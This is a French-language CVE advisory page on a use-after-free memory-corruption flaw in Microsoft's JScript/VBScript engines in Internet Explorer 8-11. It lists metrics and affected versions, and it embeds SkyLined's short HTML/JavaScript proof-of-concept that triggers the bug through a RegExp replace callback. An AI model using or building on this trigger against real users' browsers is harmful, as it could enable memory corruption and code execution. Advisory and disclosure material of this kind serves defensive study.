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Descriptions du CVE
The Microsoft (1) VBScript 5.7 and 5.8 and (2) JScript 5.7 and 5.8 engines, as used in Internet Explorer 8 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted replace operation with a JavaScript regular expression, aka "Scripting Engine Memory Corruption Vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 40798
Date de publication : 2016-11-20 23h00 +00:00
Auteur : Skylined
EDB Vérifié : Yes
<!--
Source: http://blog.skylined.nl/20161116001.html
Synopsis
A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->
<!DOCTYPE html>
<html>
<script>
// This PoC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>
<!--
Description
Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.
Exploit
Exploitation was not investigated.
Time-line
March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
Products Mentioned
Configuraton 0
Microsoft>>Jscript >> Version 5.6
- Microsoft>>Jscript >> Version 5.6 (Open CPE detail)
Microsoft>>Jscript >> Version 5.7
- Microsoft>>Jscript >> Version 5.7 (Open CPE detail)
Microsoft>>Jscript >> Version 5.8
- Microsoft>>Jscript >> Version 5.8 (Open CPE detail)
Microsoft>>Vbscript >> Version 5.6
- Microsoft>>Vbscript >> Version 5.6 (Open CPE detail)
Microsoft>>Vbscript >> Version 5.7
- Microsoft>>Vbscript >> Version 5.7 (Open CPE detail)
Microsoft>>Vbscript >> Version 5.8
- Microsoft>>Vbscript >> Version 5.8 (Open CPE detail)
- Microsoft>>Vbscript >> Version 5.8 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 8
- Microsoft>>Internet_explorer >> Version 8 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 9
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 10
- Microsoft>>Internet_explorer >> Version 10 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 11
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-108
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-106
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
